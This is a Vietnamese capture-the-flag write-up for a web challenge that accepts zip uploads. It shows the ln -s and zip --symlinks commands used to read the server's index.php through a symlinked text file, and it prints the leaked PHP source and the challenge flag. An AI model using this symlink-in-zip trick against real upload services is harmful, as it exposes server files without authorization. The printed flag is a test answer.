



Giao diện trang web cho phép upload file zip như hình trên. Yêu cầu của challenge là tìm file index.php.

Ý tưởng sẽ là up đoạn code php để đọc file này. Tuy nhiên server không cho phép đọc file .php nên ta có thể tạo file softlink để bypass.

```
cuongng@DESKTOP-0V9T1VG:~$ ln -s ../../index.php index.txt
cuongng@DESKTOP-0V9T1VG:~$ zip --symlinks index.zip index.txt
adding: index.txt (stored 0%)
```

Tạo file short link là index.txt link tới file index.php. Zip lại và upload lên server như hình trên.

/web-serveur/ch51/tmp/upload/609c9d003e3e62.86470365/

File Name ↓	File Size ↓	Date ↓
Parent directory/	-	-
b788eb63cf15d22b6b3273393371c9cb.zip	186 B	2021-May-13 05:29
index.txt	1.4 KiB	2018-Feb-07 21:01

Upload file zip thành công. Ta sẽ mở file index.txt và link tới file index.php.

```
~~~~
$message = "<p>Error!</p>";
}

$zip = new ZipArchive;
if ($zip->open($uploadfile)) {
    // Don't know if this is safe, but it works, someone told me the flag is N3v3r_7rU5T_u5Er_1npU7 , did not understand what it means
    exec("/usr/bin/timeout -k2 3 /usr/bin/unzip '$uploadfile' -d '$uploaddir'", $output, $ret);
    $message = "<p>File unzipped <a href='".$uploaddir."'>here</a>.</p>";
    $zip->close();
}
else{
    $message = "<p> Decompression Error </p>";
}
```

Kiểm tra file thấy flag như hình trên.

Flag: N3v3r_7rU5T_u5Er_1npU7